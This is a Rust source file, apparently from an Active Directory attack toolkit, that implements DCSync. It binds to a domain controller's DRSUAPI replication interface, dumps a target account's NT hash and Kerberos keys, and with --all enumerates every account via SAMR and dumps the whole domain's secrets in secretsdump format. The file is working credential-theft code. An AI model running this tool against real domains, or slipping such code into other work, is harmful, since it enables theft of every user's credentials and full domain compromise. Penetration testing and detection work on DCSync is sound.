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//! DCSync: replicate a target's secrets over DRSUAPI on a sealed RPC channel.
//! Supports single-target replication and full-domain dumps (enumerates all
//! accounts via SAMR, then replicates each — safety-gated by `--yes` when
//! stdout is a TTY).
use anyhow::Result;
use clap::Parser;
#[derive(Parser)]
pub(crate) struct DcsyncArgs {
#[command(flatten)]
pub auth: crate::shared_args::SmbAuth,
/// Target account to replicate (sAMAccountName or DN); omit to just test the bind
#[arg(long)]
pub target: Option<String>,
/// Replicate ALL domain accounts (enumerate via SAMR, then DCSync each) — full secretsdump
#[arg(long)]
pub all: bool,
/// Confirm bulk (`--all`) runs non-interactively. Required when stdout is a TTY
/// and `--all` is set; ignored otherwise. Blocks accidental full-domain dumps from
/// a fat-fingered flag.
#[arg(long)]
pub yes: bool,
/// Cap the bulk (`--all`) run at N accounts. Useful for smoke-testing --all against a
/// large domain before committing to a full dump.
#[arg(long)]
pub limit: Option<usize>,
}
/// DCSync: bind DRSUAPI over a sign+sealed channel, then replicate a target's secrets.
pub(crate) async fn dcsync(mut a: DcsyncArgs) -> Result<()> {
a.auth.password = crate::resolve_secret(&a.auth.password, "ADHAMMER_PASSWORD")?;
use ms_drsr::DrsSession;
if a.all {
return dcsync_all(&a).await;
}
let mut sess =
DrsSession::bind(&a.auth.host, &a.auth.domain, &a.auth.user, &a.auth.password).await?;
match a.target {
None => {
let handle_hex: String = sess.handle().iter().map(|b| format!("{b:02x}")).collect();
println!("[+] DRSBind OK — sealed replication handle {handle_hex} (no --target: bind-only check)");
}
Some(t) => {
let (rid, nt, kerb) = sess.dcsync(&a.auth.domain, &t).await?;
let nthex: String = nt.iter().map(|b| format!("{b:02x}")).collect();
// secretsdump format: user:rid:lmhash:nthash::: (LM is the empty-string hash)
println!(
"{}:{}:aad3b435b51404eeaad3b435b51404ee:{}:::",
t, rid, nthex
);
// Kerberos keys (secretsdump-style): user:etype:hexkey
for k in &kerb {
println!("{}:{}:{}", t, k.etype_name(), hex::encode(&k.key));
}
}
}
Ok(())
}
/// Full-domain DCSync: enumerate every account over SAMR, then replicate + decrypt each —
/// whole-domain NTDS dump (secretsdump `@dc`). Reuses SAMR enumeration and per-account DCSync
/// (which now reassembles multi-fragment replies, so large/computer accounts work too).
async fn dcsync_all(a: &DcsyncArgs) -> Result<()> {
use dcerpc::samr::SamrClient;
use ms_drsr::DrsSession;
use smb2_client::SmbClient;
// 1. enumerate accounts via SAMR-over-SMB.
let mut smb = SmbClient::connect(&a.auth.host).await?;
smb.login(&a.auth.host, &a.auth.domain, &a.auth.user, &a.auth.password)
.await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.auth.host))
.await?;
let pipe = smb.open_pipe("samr").await?;
let mut samr = SamrClient::bind(&mut smb, pipe).await?;
let mut users = samr
.enumerate_all_users(&format!("\\\\{}", a.auth.host))
.await?;
// Interactive-terminal safety gate. `--all` on a fat-fingered command dumps
// every account in the domain; require --yes when we can see the operator's
// TTY. Non-TTY callers (CI / piped runs) bypass the prompt.
use std::io::IsTerminal as _;
if !a.yes && std::io::stdout().is_terminal() {
anyhow::bail!(
"`--all` will DCSync {} accounts from {} in this domain. Re-run with --yes to \
confirm, or use --limit N for a scoped run first.",
users.len(),
a.auth.host
);
}
if let Some(n) = a.limit {
if users.len() > n {
eprintln!(
"[*] --limit {n} — capping bulk run at {n} of {} enumerated accounts",
users.len()
);
users.truncate(n);
}
}
eprintln!("[+] {} accounts scheduled for replication…", users.len());
// 2. DCSync each over one sealed DRSUAPI session.
let mut sess =
DrsSession::bind(&a.auth.host, &a.auth.domain, &a.auth.user, &a.auth.password).await?;
let (mut ok, mut fail) = (0u32, 0u32);
for (_rid, name) in &users {
match sess.dcsync(&a.auth.domain, name).await {
Ok((rid, nt, kerb)) => {
let nthex: String = nt.iter().map(|b| format!("{b:02x}")).collect();
println!(
"{}:{}:aad3b435b51404eeaad3b435b51404ee:{}:::",
name, rid, nthex
);
for k in &kerb {
println!("{}:{}:{}", name, k.etype_name(), hex::encode(&k.key));
}
ok += 1;
}
Err(e) => {
tracing::warn!("dcsync {name} failed: {e}");
fail += 1;
}
}
}
eprintln!("[+] full-domain DCSync complete: {ok} dumped, {fail} failed");
Ok(())
}